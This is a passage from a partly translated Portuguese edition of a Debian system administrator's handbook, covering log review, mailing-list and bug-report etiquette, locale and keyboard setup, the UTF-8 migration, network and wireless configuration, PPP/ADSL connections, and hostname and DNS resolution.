As a preventive operation, the administrator should regularly read themost relevant server logs.
They can thus diagnose problems before they are even reported by disgruntled users. Indeed
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users may sometimes wait for a problem to occur repeatedly over several days before reporting
it. In many cases, there are specific tools to analyze the contents of the larger log files. In parti-
cular, such utilities exist for web servers (such as analog, awstats, webalizer for Apache), for
FTP servers, for proxy/cache servers, for firewalls, for e-mail servers, for DNS servers, and even
for print servers. Other tools, such as logcheck (a software discussed in Capítulo 14, Segurança
[394]), scan these files in search of alerts to be dealt with.

7.2.3. Pedindo ajuda em uma lista

Se as suas várias buscas não tiverem ajudado a chegar à raiz de um problema, é possível obter
ajuda de outras pessoas, talvez mais experientes. Este é exatamente o objetivo da lista debian-
user@lists.debian.org. Como em qualquer comunidade, tem regras que precisam ser seguidas.
Antes de fazer qualquer pergunta, você deve verificar se o seu problema não foi abordado por
debates recentes na lista ou em qualquer documentação oficial.
è https://wiki.debian.org/DebianMailingLists

è https://lists.debian.org/debian-user/

DE VOLTA AO BASICO

Aplicar Netiquette
Em geral, para toda a correspondência em listas de correio electrónico, as regras
de Netiquette devem ser seguidas. Este termo refere-se a um conjunto de regras de
senso comum, a partir de cortesia comum para erros que devem ser evitados.

è http://tools.ietf.org/html/rfc1855

Além disso, para qualquer canal de comunicação gerenciado pelo projeto Debian,
você está submetido ao Código de Conduta Debian:

è https://www.debian.org/code_of_conduct

Uma vez satisfeitas estas duas condições, você pode pensar em descrever o seu problema para a
lista de discussão. Inclua omáximode informações relevantes possíveis: vários testes realizados,
documentação consultada, comovocê tentou diagnosticar o problema, os pacotes emquestão ou
aqueles quepodemestar envolvidos, etc. Verifique o SistemadeAcompanhamentodeBugs (BTS,
descrito na barra lateral Bug tracking system [14]) para problemas semelhantes, e mencione os
resultados dessa pesquisa, fornecendo links para bugs encontrados. BTS começa em:
è http://www.debian.org/Bugs/index.html

Omais cortês e preciso que você tenha sido, as maiores chances suas de obter uma resposta, ou,
pelo menos, alguns elementos de resposta. Se você receber informações relevantes por e-mail
privado, pense em resumir esta informação públicamente para que outros possam beneficiar.
Isto também permite que os arquivos da lista, pesquisados através de vários motores de busca,
mostrem a resolução para outros que podem ter a mesma pergunta.
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7.2.4. Reportando um Bug Quando um Problema É Muito Dificil

Se todos os seus esforços para resolver um problema falhar, é possível que uma resolução não
seja de sua responsabilidade, e que o problema é devido a um bug no programa. Neste caso, o
procedimento correto é relatar o bug ao Debian ou diretamente aos desenvolvedores. Para fazer
isso, isolar o problema, tanto quanto possível e criar uma situação de teste mínimo em que pode
ser reproduzido. Se você souber qual o programa que é a causa aparente do problema, você
pode encontrar o seu pacote correspondente usando o comando, dpkg-Sarquivo_em_questao.
Verifique o Sistema de Rastreamento de Bugs (https://bugs.debian.org/pacote) para assegurar
que o erro não tenha sido relatado. Você pode então enviar o seu relatório de bug próprio,
usando o comando reportbug, incluindo as informações, tanto quanto possível, especialmente
uma descrição completa dos casos de teste mínimo que permitirá que qualquer pessoa recrie o
bug.
Os elementos deste capítulo são ummeio eficaz para resolver os problemas que os capítulos que
se seguem podem trazer. Use-os sempre que necessário!
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Um computador com uma nova instalação criada com o debian-installer tenta ser tão funcional
quanto possível, mas muitos serviços ainda devem ser configurados. Além disso, é sempre bom saber
como mudar certos elementos de configuração definidos durante o processo de instalação inicial.



Este capítulo revisa tudo que pode ser incluído no que se pode chamar de ”configuração básica”:
redes, idioma e localização, usuários e grupos, impressão, pontos de montagem, etc.

8.1. Configurando o Sistema para Outra Língua

Se o sistema foi instalado usando Francês, a máquina provavelmente já vai ter o francês configu-
rado como o idioma padrão. Mas é bom saber que o instalador vai configurar o idioma, de forma
que, se mais tarde surgir a necessidade, você pode mudá-lo.

FERRAMENTA

O comando locale para
mostrar a configuração

atual

O comando locale lista um resumo da configuração atual de vários parâmetros do
locale (formato de data, formato de números, etc.), apresentados na forma de um
grupo de variáveis de ambiente padrão dedicadas à modificação dinâmica destas
configurações.

8.1.1. Definindo a Língua Padrão

Um ”locale” é um grupo de configurações regionais. Isto inclui não apenas o idioma do texto,
mas também o formato para exibir números, datas, horas e valores monetários, assim como
as regras de comparação alfabéticas (para considerar corretamente os caracteres acentuados).
Embora cada um destes parâmetros possa ser especificado independentemente dos outros, ge-
ralmente usamos um ”locale”, que é um conjunto coerente de valores para estes parâmetros
correspondendo a uma ”região” no sentido amplo. Estes ”locales” são usualmente indicados
na forma, código-de-idioma_CÓDIGO-DE-PAÍS, algumas vezes com um sufixo para especifi-
car o conjunto de caracteres e codificação a ser usado. Isto habilita considerações de diferenças
idiomáticas ou tipográficas entre regiões com uma linguagem em comum.

CULTURA

Conjuntos de Caracteres
Historicamente, cada localidade tem associado um ”conjunto de caracteres” (um
grupo de caracteres conhecidos) e uma ”codificação” preferida (representação in-
terna para caracteres dentro do computador).

As codificações mais populares para idiomas derivados do latim são limitadas a 256
caracteres pois ele optaram por usar um único byte para cada caractere. Uma vez
que 256 caracteres não é o suficiente para cobrir todas as línguas européias, codifi-
cações múltiplas são necessárias, e assim nós acabamos com ISO-8859-1 (também
conhecido como “Latin 1”) até o ISO-8859-15 (também conhecido como “Latin 9”),
entre outros.

Trabalhar com línguas estrangeiras comumente implica trocar regularmente entre
várias codificações e conjuntos de caracteres. Além disso, escrever um documento
em diversas linguas leva a problemas maiores, quase intratáveis. Unicode (um su-
per catálogo de quase todos os sistemas de escrita de todas as línguas domundo) foi
criado para contornar este problema. Uma das codificações Unicode, UTF-8, retém
todos os 128 símbolos ASCII (códigos 7-bits), mas lida com outros caracteres dife-
rentemente. Estes outros são precedidos por uma sequencia de escape específica
de poucos bits, que implicitamente define o tamanho do caractere. Isto permite a
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codificação de todos os caracteres Unicode em uma sequência de um ou mais by-
tes. Seu uso foi popularizado pelo fato de ser a codificação padrão em documentos
XML.

Esta é a codificação que deve ser geralmente usada, e é portanto a padrão nos
sistemas Debian.

O pacote locales inclui todos os elementos necessários para o funcionamento correto da ”loca-
lização” de vários aplicativos. Durante a instalação, este pacote vai pedir que você selecione
um conjunto de idiomas suportados. Este conjunto de idiomas pode ser alterado executando o
comando dpkg-reconfigure locales como o root.
A primeira pergunta pede a você para selecionar os “locales” a suportar. Selecionar todos os
locales do inglês (ou seja, aqueles começados com “en_”) é uma escolha sensata. Não hesite
em também habilitar outros locales se a máquina for ser usada por usuários que falam outras
línguas. A lista de locales habilitados no sistema está armazenada no arquivo /etc/locale.
gen. É possível editar este arquivo manualmente, mas você deveria executar locale-gen após
qualquer modificação. Ele gerará os arquivos necessários para que a adição de locales funcione
e vai remover quaisquer arquivos obsoletos.
A segunda pergunta, ”Default locale for the system environment” (”locale padrão para o ambi-
ente do sistema”), pede um locale padrão. A escolha recomendada no Brasil é ”pt_BR.UTF-8”.
Portugueses de portugal vão preferir ”pt_PT.UTF-8” e franceses, ”fr.UTF-8”, enquanto que ca-
nadenses que falam francês, vão preferir ”en_CA.UTF-8”. O arquivo /etc/default/locale vai
ser então modificado para armazenar esta escolha. E a partir dele, a escolha será selecionada
por todas as sessões de usuário, já que o PAM vai injetar seu conteúdo na variável de ambiente
LANG.

ATRÁS DAS CENAS

/etc/environment e
/etc/default/locale

O arquivo /etc/environment dá aos programas login, gdm, ou até mesmo ssh as
variáveis de ambiente corretas a serem criadas.

Estes aplicativos não criam essas variáveis diretamente, mas sim via um módulo
PAM (pam_env.so). PAM (Pluggable Authentication Module - Módulo de autenti-
cação plugável) é uma biblioteca centralizadora de mecanismos para autenticação,
inicialização de sessão, e gerenciamento de senhas. Veja Seção 11.7.3.2, “Configu-
rando o PAM” [304] para um exemplo da configuração do PAM.

O arquivo /etc/default/locale funciona demaneira similar, mas contém apenas
a variável de ambiente LANG. Graças a esta divisão, alguns usuários PAM podem
herdar um ambiente sem localização. Na verdade, geralmente é desencorajado
executar programas servidores com localização habilitada; por outro lado, confi-
gurações regionais e de localização são recomendadas para programas que abrem
sessões de usuário.

8.1.2. Configurando o Teclado

Mesmo com o layout do teclado sendo gerenciado diferentemente nos modos console e grá-
fico, o Debian oferece uma interface de configuração única que funciona para ambos: é ba-
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seada no debconf e é implementada no pacote keyboard-configuration. Portanto, o comando
dpkg-reconfigure keyboard-configuration pode ser usado a qualquer momento para re-
configurar o layout do teclado.
As perguntas são relevantes para a disposição do teclado físico (um teclado PC padrão nos EUA
será um ”Generic 104 key”), e depois a disposição para escolher (geralmente ”US”), e por fim a
posição da tecla AltGr (Alt da direita). Finalmente vem a pergunta da tecla a usar para a ”Com-
pose key”, que permite a entrada de caracteres especiais combinando conjuntos de teclas. Digite
sucessivamente Compose ’ e e produza um e-agudo (”é”). Todas estas combinações são descritas
no arquivo /usr/share/X11/locale/en_US.UTF-8/Compose (ou outro arquivo, determinado
de acordo com o locale atual indicado por /usr/share/X11/locale/compose.dir).
Note that the keyboard configuration for graphical mode described here only affects the default
layout; the GNOME and KDE Plasma environments, among others, provide a keyboard control
panel in their preferences allowing each user to have their own configuration. Some additional
options regarding the behavior of some particular keys are also available in these control panels.

8.1.3. Migrando para UTF-8

A generalização da codificação UTF-8 foi uma solução a muito aguardada para várias dificulda-
des de interoperabilidade, já que ela facilita intercâmbio internacional e remove os limites arbi-
trários de caracteres que podem ser usados em um documento. O único problema é que é que
ela teve que passar por uma difícil fase de transição. Como esta fase de transição não pôde ser
completamente transparente (ou seja, não pôde acontecer ao mesmo tempo em todo o mundo),
duas operações de conversão foram necessárias: uma no conteúdo dos arquivos e outra nos no-
mes dos arquivos. Felizmente, a maior parte desta migração já foi completada e discutimos ela
amplamente para referência.

CULTURA

Mojibake e erros de
interpretação

Quando um texto é enviado (ou armazenado) sem informações de codificação, nem
sempre é possível para o destinatário saber com certeza qual a convenção foi usada
para determinar o significado dos conjuntos de bytes. Você pode normalmente ter
uma noção olhando as estatísticas da distribuição de valores apresentados no texto,
mas isto nem sempre dá uma resposta definitiva. Quando o sistema de codificação
escolhido para a leitura difere do usado na escrita do arquivo, os bytes serão mal
interpretados, e você terá, na melhor das hipóteses, erros em alguns caracteres, e
na pior das hipóteses, algo completamente ilegível.

Então, se um texto em francês aparenta estar normal com exceção das letras acen-
tuadas e de certos símbolos que parece terem sido substituídos com sequencias de
caracteres como ”Ã©” ou ”Ã¨” ou ”Ã§”, provavelmente este é um texto codificado
com UTF-8 mas interpretado como ISO-8859-1 ou ISO-8859-15. Este é um sinal
de uma instalação local que ainda não foi migrada para UTF-8. Se, ao invés disto,
você vê interrogações no lugar de letras acentuadas — mesmo se estas interroga-
ções parecem substituir também um caractere que deve estar depois de uma letra
acentuada — é provável que sua instalação já esteja configurada para UTF-8 e que
você tenha recebido um documento codificado em ISO ocidental.

Tanto para casos ”simples”. Estes casos aparecem apenas na cultura ocidental, uma
vez que oUnicode (e UTF-8) foram projetados paramaximizar os pontos em comum
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com codificações de idiomas ocidentais baseadas no alfabeto Latino, que permite
o reconhecimento de partes do texto mesmo quando alguns caracteres estão fal-
tando.

Em configurações mais complexas, que, por exemplo, envolvem dois ambientes cor-
respondendo a dois idiomas diferentes que não usam o mesmo alfabeto, você fre-
quentemente se vê com resultados completamente ilegíveis — uma série de sím-
bolos abstratos que não tem nada a ver uns com os outros. Isto é especialmente
comum com idiomas asiáticos devido devido a seus numerosos idiomas e sistemas
de escrita. A palavra japonesamojibake foi adotada para descrever este fenômeno.
Quando ele acontece, o diagnóstico é mais complexo e a solução mais simples em
geral é migrar os dois lados para UTF-8.

As far as file names are concerned, a migração pode ser relativamente simples. A ferramenta
convmv (no pacote com o mesmo nome) foi criada especificamente com este objetivo; ela per-
mite renomear arquivos de uma codificação para outra. O uso desta ferramenta é relativamente
simples, mas recomendamos fazê-lo em dois passos para evitar surpresas. O seguinte exemplo
ilustra um ambiente UTF-8 contendo nomes de diretórios codificados em ISO-8859-15, e o uso
do convmv para renomeá-los.

$ ls travail/
Ic?nes ?l?ments graphiques Textes
$ convmv -r -f iso-8859-15 -t utf-8 travail/
Starting a dry run without changes...
mv ”travail/�l�ments graphiques” ”travail/Éléments graphiques”
mv ”travail/Ic�nes” ”travail/Icônes”
No changes to your files done. Use --notest to finally rename the files.
$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/
mv ”travail/�l�ments graphiques” ”travail/Éléments graphiques”
mv ”travail/Ic�nes” ”travail/Icônes”
Ready!
$ ls travail/
Éléments graphiques Icônes Textes

Para o conteúdo dos arquivos, os procedimentos de conversão são mais complexos devido à
vasta variedade de formatos de arquivos existentes. Alguns formatos de arquivos incluem in-
formação de codificação que facilita a tarefa de softwares usados para tratá-los; é suficiente,
portanto, abrir estes arquivos e regravá-los especificando a codificação UTF-8. Em outros casos,
você tem que especificar a codificação original (ISO-8859-1 ou “Ocidental”, ou ISO-8859-15 ou
“Ocidental (Euro)”, de acordo com as formulações) quando abrir o arquivo.
Para arquivos de texto simples, você pode usar o recode (que está no pacote de mesmo nome)
para fazer recodificação automática. Esta ferramenta tem várias opções, explore bastante. Nós
recomendamos que você consulte a documentação, a página man recode(1 ), ou a página info
recode (mais completa).
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8.2. Configurando a Rede

DE VOLTA AO BÁSICO

Conceitos essenciais de
rede (Ethernet, endereço
IP, sub-rede, broadcast)

A maioria das redes locais modernas usam o protocolo Ethernet, onde dados são
quebrados em pequenos blocos chamados quadros (frames, em inglês) e transmi-
tidos através do fio um quadro por vez. As velocidades de transmissão de dados
variam de 10 Mb/s para placas Ethernet antigas a 10 Gb/s nas mais novas (com as
taxasmais comuns atualmente crescendo de 100 Mb/s a 1 Gb/s). Os cabosmais am-
plamente usados são chamados 10BASE-T, 100BASE-T, 1000BASE-T ou 10GBASE-T
dependendo da vazão que eles podem fornecer confiavelmente (o T significa ”twis-
ted pair”, ou ”par trançado”); estes cabos terminam num conector RJ45. Existem
outros tipos de cabos, usados normalmente para velocidades de 1 Gb/s ou mais.

Um endereço IP é um número usado para identificar uma interface de rede num
computador em uma rede local ou na internet. Na sua versão mais utilizada atual-
mente (IPv4), este número é codificado em 32 bits, e é normalmente representado
como 4 números separados por pontos (e.g. 192.168.0.1), cada número entre 0 e
255 (inclusive, o que corresponde a 8 bits de dados). A próxima versão do protocolo,
IPv6, estende este espaço de endereçamento para 128 bits, e os endereços são ge-
ralmente representados como uma série de números hexadecimais separados por
dois-pontos (e.g., 2001:0db8:13bb:0002:0000:0000:0000:0020, ou 2001:db8:13bb:2::20
resumidamente).

Uma máscara de subrede (máscara de rede) define no seu código binário que por-
ções de um endereço IP correspondem à rede, e o restante especifica amáquina. No
exemplo de configurar um endereço IPv4 estático dado aqui, a máscara de subrede,
255.255.255.0 (24 “1”s seguidos de 8 “0”s na representação binária) indica que os
primeiros 24 bits do endereço IP correspondem ao endereço de rede, e os outros 8
são específicos da máquina. Em IPv6, por legibilidade, apenas os números “1”s são
mostrados; a máscara de rede para uma rede IPv6 poderia ser, portanto, 64.

O endereço de rede é um endereço IP no qual a parte descrevendo o número da
máquina é 0. O intervalo de endereços IPv4 em uma rede é às vezes indicado pela
sintaxe, a.b.c.d/x, onde a.b.c.d é o endereço de rede e x é o número de bits afeta-
dos pela parte da rede no endereço IP. A rede de exemplo pode então ser escrita:
192.168.0.0/24. A sintaxe é similar no IPv6: 2001:db8:13bb:2::/64.

Um roteador é uma máquina que conecta várias redes umas às outras. Todo o
tráfego que passa por um roteador é direcionado para a rede correta. Para fazer isto,
o roteador analisa pacotes entrando e os redireciona de acordo com o endereço IP
de destino. O roteador é às vezes conhecido como um gateway; nesta configuração,
ele funciona como umamáquina que ajuda a alcançarmais do que a rede local (indo
por uma rede extendida, como a Internet).

O endereço especial de broadcast conecta todas as estações numa rede. Quase
nunca é ”roteado”, ele apenas funciona na rede em questão. Especificamente, sig-
nifica que um pacote de dados endereçado para o broadcast nunca atravessa o
roteador.

Este capítulo foca nos endereços IPv4, já que eles são os mais comumente usados.
Os detalhes sobre o protocolo IPv6 são discutidos aqui Seção 10.5, “IPv6” [250], mas
os conceitos se mantém os mesmos.

The network is automatically configured during the initial installation. If Network Manager
gets installed (which is generally the case for full desktop installations), then it might be that no
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configuration is actually required (for example, if you rely on DHCP on a wired connection and
have no specific requirements). If a configuration is required (for example for a WiFi interface),
then it will create the appropriate file in /etc/NetworkManager/system-connections/.
If Network Manager is not installed, then the installer will configure ifupdown by creating the
/etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automa-
tically configured on boot by the networking service.
In a server context, ifupdown is thus the network configuration tool that you usually get. That
is why we will cover it in the next sections.

ALTERNATIVO

NetworkManager
If Network Manager is particularly recommended in roaming setups (see Se-
ção 8.2.5, “Configuração Automática de Rede para Usuários em Roaming” [162]),
it is also perfectly usable as the default network management tool. You can create
“System connections” that are used as soon as the computer boots either manually
with a .ini-like file in /etc/NetworkManager/system-connections/ or through
a graphical tool (nm-connection-editor). Just remember to deactivate all entries
in /etc/network/interfaces if you want Network Manager to handle them.

è https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

è https://developer.gnome.org/NetworkManager/1.6/ref-settings.
html

8.2.1. Interface de Rede

Se o computador tem uma placa Ethernet, a rede IP que é associada a ela deve ser configurada
escolhendo um de dois métodos. O método mais simples é a configuração dinâmica com DHCP,
e requer um servidor DHCP na rede local. Ele pode indicar um hostname (”nome de máquina”)
desejado, correspondendo à configuração de hostname no exemplo abaixo. O servidor DHCP
então manda as configurações para a rede apropriada.

Exemplo 8.1 Configuração DHCP

auto enp0s31f6
iface enp0s31f6 inet dhcp
hostname arrakis

IN PRACTICE

Names of network
interfaces

By default, the kernel attributes generic names such a eth0 (for wired Ethernet) or
wlan0 (for WiFi) to the network interfaces. The number in those names is a simple
incremental counter representing the order inwhich they have been detected. With
modern hardware, that order might change for each reboot and thus the default
names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they ap-
pear. The default name policy is defined by /lib/systemd/network/99-default.
link (see systemd.link(5) for an explanation of the NamePolicy entry in that
file). In practice, the names are often based on the device’s physical location (as

157Capítulo 8 — Configuração Básica: Rede, Contas, Impressão…

https://wiki.gnome.org/Projects/NetworkManager/SystemSettings
https://developer.gnome.org/NetworkManager/1.6/ref-settings.html
https://developer.gnome.org/NetworkManager/1.6/ref-settings.html


guessed by where they are connected) and you will see names starting with en for
wired ethernet and wl for WiFi. In the example above, the rest of the name indica-
tes, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function
number (f6).

Obviously, you are free to override this policy and/or to complement it to customize
the names of some specific interfaces. You can find out the names of the network
interfaces in the output of ip addr (or as filenames in /sys/class/net/).

Uma configuração ”static” deve indicar uma configuração de rede de maneira fixa. Isto incluí
ao menos o endereço IP e uma máscara de sub rede; endereços de rede e brodcasts são algumas
vezes listados também. Um roteador conectado ao exterior será especificado como um gateway.

Exemplo 8.2 Configuração estática

auto enp0s31f6
iface enp0s31f6 inet static
address 192.168.0.3
netmask 255.255.255.0
broadcast 192.168.0.255
network 192.168.0.0
gateway 192.168.0.1

NOTA

Múltiplos endereços
É possível associar não só várias interfaces de rede a uma única placa de rede, como
também vários endereços IP a uma única interface. Lembre também que um ende-
reço IP pode corresponder a qualquer número de nomes via DNS, e que um nome
pode corresponder a qualquer número de endereços IP.

Como você pode imaginar, as configurações podem ser complexas, mas estas op-
ções são usadas somente em casos especiais. Os exemplos citados aqui são confi-
gurações habituais típicas.

8.2.2. Wireless Interface

Getting wireless network cards to work can be a bit more challenging. First of all, they often
require the installation of proprietary firmwares which are not installed by default in Debian.
Then wireless networks rely on cryptography to restrict access to authorized users only, this
implies storing some secret key in the network configuration. Let’s tackle those topics one by
one.

Installing the required firmwares

First you have to enable the non-free repository in APT’s sources.list file: see Seção 6.1, “Preen-
chendo no arquivo sources.list Arquivo” [104] for details about this file. Many firmware are
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proprietary and are thus located in this repository. You can try to skip this step if you want,
but if the next step doesn’t find the required firmware, retry after having enabled the non-free
section.
Then you have to install the appropriate firmware-* packages. If you don’t knowwhich package
you need, you can install the isenkram package and run its isenkram-autoinstall-firmware
command. The packages are often named after the hardware manufacturer or the correspon-
ding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm
Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver
usually looks for the firmware files when it is first loaded and no longer afterwards.

Wireless specific entries in /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of thewpasupplicant package
which provides the required integration between ifupdown and the wpa_supplicant command
used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry
in /etc/network/interfaces needs to be extended with two supplementary parameters to
specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

Exemplo 8.3 DHCP configuration for a wireless interface

auto wlp4s0
iface wlp4s0 inet dhcp
wpa-ssid Falcot
wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

Thewpa-psk parameter can contain either the plain text passphrase or its hashed version gene-
ratedwith wpa_passphrase SSID passphrase. If you use an unencryptedwireless connection,
then you should put awpa-key-mgmtNONE and nowpa-psk entry. Formore information about
the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.
Debian.gz.
At this point, you should consider restricting the read permissions on /etc/network/
interfaces to the root user only since the file contains a private key that not all users should
have access to.

HISTORY

WEP encryption
Usage of the deprecated WEP encryption protocol is possible with the wireless-
tools package. See /usr/share/doc/wireless-tools/README.Debian for ins-
tructions.
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8.2.3. Conectando com PPP através de um modem PSTN

Uma conexão ponto a ponto (PPP) cria uma conexão intermitente; está é a solução mais comum
para conexão feitas com um modem telefônico (”modem PSTN”, já que a conexão vai pela rede
de telefonia).
Uma conexão viamodem telefônico precisa de uma conta comumprovedor de acesso, incluindo
um número telefônico, usuário, senha e às vezes o protocolo de autenticação a ser usado. tal co-
nexão é configurada usando a ferramenta pppconfig do pacote Debian demesmo nome. Por pa-
drão, ela configura uma conexão chamada provider (de provedor de acesso). Quando em dúvida
sobre o protocolo de autenticação, escolha PAP: ele é o oferecido pela maioria dos provedores
de acesso a Internet.
Depois da configuração, é possível conectar usando o comando pon (dando a ele o nome da co-
nexão como parâmetro, quando o valor padrão de provedor não for apropriado). O link é desco-
nectado com o comando poff. Estes dois comandos podem ser executados pelo usuário root, ou
por qualquer outro usuário que esteja no grupo dip.

8.2.4. Conectando através de um modem ADSL

O termo genérico ”modem ADSL” cobre uma infinidade de dispositivos com fuções muito dife-
rentes. Osmodems que são osmais simples de usar comLinux são aqueles que temuma interface
Ethernet (e não aqueles que só tem interface USB). Estes tendem a ser bastatne populares; a mai-
oria dos provedores de serviços internet ADSL emprestam ou fazem ”leasing” de um aparelho
com interfaces Ethernet. Dependendo do tipo demodem, a configuração necessária pode variar
grandemente.

Modems que Suportam PPPOE

Alguns modens Ethernet funcionam com o protocolo PPPOE (Point to Point Protocol over Ether-
net). A ferramenta pppoeconf (do pacote de mesmo nome) vai configurar a conexão. Para
isto, ele modifica o arquivo /etc/ppp/peers/dsl-provider com as configurações fornecidas e
grava a informação de login nos arquivos /etc/ppp/pap-secrets e /etc/ppp/chap-secrets.
Ele é recomendado para aceitar todas as modificações que se propõe.
Uma vez que essa configuração está completa, você pode iniciar a conexãoADSL como comando,
pon dsl-provider ou desconectar com poff dsl-provider.

DICA

Iniciando o ppp na
inicialização

As conexões PPP sobre ADSL são, por definição, intermitentes. Como elas nor-
malmente não são cobradas por tempo, existem poucos problemas com relação a
tentação de mantê-las abertas sempre. O padrão para se fazer isto é usar o sistema
init.

With systemd, adding an automatically restarting task for the ADSL connec-
tion is a simple matter of creating a “unit file” such as /etc/systemd/system/
adsl-connection.service, with contents such as the following:
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[Unit]
Description=ADSL connection

[Service]
Type=forking
ExecStart=/usr/sbin/pppd call dsl-provider
Restart=always

[Install]
WantedBy=multi-user.target

Uma vez que esse arquivo unit tenha sido definido, ele precisa ser habilitado com
systemctl enable adsl-connection. Então o ”loop” pode ser iniciado manual-
mente com systemctl start adsl-connection; ele também será iniciado auto-
maticamente na inicialização.

Em sistemas em que não é usado o systemd (incluíndoWheezy e versões anteriores
doDebian), o init SystemV padrão funciona demaneira diferente. Em tais sistemas,
tudo que é preciso é adicionar uma linha como a seguinte no final do arquivo /etc/
inittab; então, a qualquer momento que a conexão cai, o init reconecta.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Para conexões ADSL que se auto desconectam diariamente, este método reduz a
duração da interrupção.

Modems que Suportam PPTP

O protocolo PPTP (Point-to-Point Tunneling Protocol) foi criado pela Microsoft. Publicado no
começo da ADSL, foi rapidamente substituído pelo PPPOE. Se você for obrigado a usar este pro-
tocolo, veja Seção 10.2.4, “PPTP” [243].

Modems que Suportam DHCP

Quando um modem está conectado ao computador via cabo ethernet (crossover) você tipica-
mente configura uma conexão de rede pelo DHCP no computador; o modem age automatica-
mente como um gateway por padrão e cuida do roteamento (o que significa que ele gerencia o
tráfego de rede entre o computador e a Internet).

DE VOLTA AO BÁSICO

Cabos de par trançado
para conexão de rede

direta

Placas de rede de computadores esperam receber dados em certos fios do cabo, e
enviar por outros. Quando você conecta um computador em uma rede local, você
normalmente conecta um cabo (normal ou crossover) entre a placa de rede e o repe-
tidor ou switch. Entretanto, se você quer conectar dois computadores diretamente
(sem um switch ou repetidor intermediário), você deve rotear o sinal enviado por
uma placa para o lado receptor da outra placa, e vice-versa. Este é o objetivo de
um cabo crossover, e a razão para usá-lo.
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Note que esta distinção tem se tornado quase que irrelevante com o passar do
tempo, já que placas de rede modernas são capazes de detectar o tipo de cabo pre-
sente e se adaptar a ele. Portanto, não é raro que ambos os tipos de cabo funcionem
em vários locais.

Amaioria dos “roteadores ADSL” no mercado podem ser usados desta forma, assim como a mai-
oria dos modens ADSL fornecidos por provedores de serviço de Internet.

8.2.5. Configuração Automática de Rede para Usuários em Roaming

Muitos engenheiros da Falcot tem um laptop que, por motivos pessoais, também são usados em
casa. A configuração de rede muda de acordo com o local. Em casa, pode ser uma rede sem fio
(protegida por uma chave WPA), enquanto que no trabalho se usa uma rede cabeada para mais
segurança e mais banda.
Para evitar ter que conectar ou desconectarmanualmente as interface de rede correspondentes,
os administradores instalaram o pacote network-manager nestas ”roaming machines”. Com este
software o usuário pode mudar de uma rede para outra usando um pequeno ícone exibido na
área de notificação de suas área de trabalho gráficas. Ao clicar nestes ícones é exibida uma lista
de redes disponíveis (com e sem fios), para o usuário simplesmente escolher qual ele deseja usar.
O programa grava a configuração das redes que o usuário já tenha usado e automaticamente
troca para a melhor rede disponível quando a rede atual cai.
Para fazer isto, o programa é estruturado em duas partes: um daemon rodando como root cuida
da ativação e configuração das interfaces de rede e uma interface de usuário controla este da-
emon. O PolicyKit cuida das autorizações necessárias para controlar este programa e o Debian
configura o PolicyKit de forma que os membros do grupo netdev possam adicionar ou mudar as
conexões do Network Manager.
O Network Manager sabe como manipular vários tipos de conexões (DHCP, manual, rede local),
mas apenas se a configuração for ajustada comopróprio programa. É por isto que ele vai ignorar
sistematicamente todas as interfaces de rede no /etc/network/interfaces para as quais ele
não foi projetado. Já que o NetworkManager não dá detalhes quando nenhuma conexão de rede
é mostrada, a forma fácil é apagar do /etc/network/interfaces quaisquer configurações de
todas as interfaces que devem ser gerenciadas pelo Network Manager.
Note que este programa já é instalado por padrão quando a tarefa ”Desktop Environment” é
escolhida durante a instalação.

8.3. Ajustando o Nome de Host e Configurando o Serviço de Nomes

O motivo de atribuir nomes a números de IP é fazê-los fáceis de lembrar. Na verdade, um en-
dereço IP identifica uma interface de rede associada a um dispositivo como uma placa de rede.
Já que cada máquina pode ter várias placas de rede, e várias interfaces em cada cada placa, um
computador único pode ter vários nomes no sistema de nomes de domínio.
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Entretanto, cadamáquina é identificada por umnomeprincipal (ou ”canônico”), armazenadono
arquivo /etc/hostname e comunicado ao núcleo Linux por scripts de início através do comando
hostname. O valor atual é disponível num sistema de arquivos virtual, e você pode obtê-lo com
o comando cat /proc/sys/kernel/hostname.

DE VOLTA AO BÁSICO

/proc/ e /sys/, sistemas
de arquivos virtuais

As árvores de arquivos /proc/ e /sys/ são geradas por sistemas de arquivos ”vir-
tuais”. Esta é uma forma prática de recuperar informações do núcleo (listando
arquivos virtuais) e comunicando-os para o núcleo (escrevendo para arquivos vir-
tuais).

/sys/ em particular, é projetado para fornecer acesso a objetos de kernel interno,
especialmente aqueles que representam os diversos dispositivos no sistema. O ker-
nel pode, assim, partilhar vários pedaços de informação: o status de cada disposi-
tivo (por exemplo, se está no modo de poupança de energia), seja um dispositivo
removível, etc. Note-se que /sys/ só existe desde a versão do kernel 2.6.

Surpreendentemente, o nome de domínio não é gerenciado da mesma forma, mas vem de um
nome de máquina completo, adquirido através de resolução de nome. Você pode mudá-lo no
arquivo /etc/hosts; simplesmente escreva um nome completo para a máquina no começo da
lista de nomes associada com o endereço da máquina, como no exemplo seguinte:
127.0.0.1 localhost
192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Resolução de Nome

Omecanismo para resolução de nomes no Linux émodular e pode usar várias fontes de informa-
ção declarada no arquivo /etc/nsswitch.conf. A entrada que envolve a resolução de nomes
de host é hosts. Por padrão, contém files dns, o que significa que o sistema consulta o arquivo
/etc/hosts primeiro, então os servidores DNS. NIS / NIS + ou LDAP servidores são outras fontes
possíveis.

NOTA

NSS e DNS
Esteja ciente de que os comandos destinados especificamente a consulta DNS (es-
pecialmente host) não utilize o mecanismo de resolução de nome padrão (NSS).
Como conseqüência, eles não levam em consideração /etc/nsswitch.conf e, por-
tanto, não /etc/hosts também.

Configurando Servidores DNS

DNS (Domain Name System - Sistema de Nomes de Domínios) é ummapeamento de serviço dis-
tribuída e hierárquica nomes para endereços IP e vice-versa. Especificamente, ele pode trans-
formar um nome amigável como www.eyrolles.com no endereço IP real, 213.244.11.247.
Para acessar informações de DNS, um servidor DNS deve estar disponível para solicitações de
retransmissão. Falcot Corp tem a sua própria, mas um usuário individual é mais propensos a
usar os servidores DNS fornecidos pelo seu ISP.
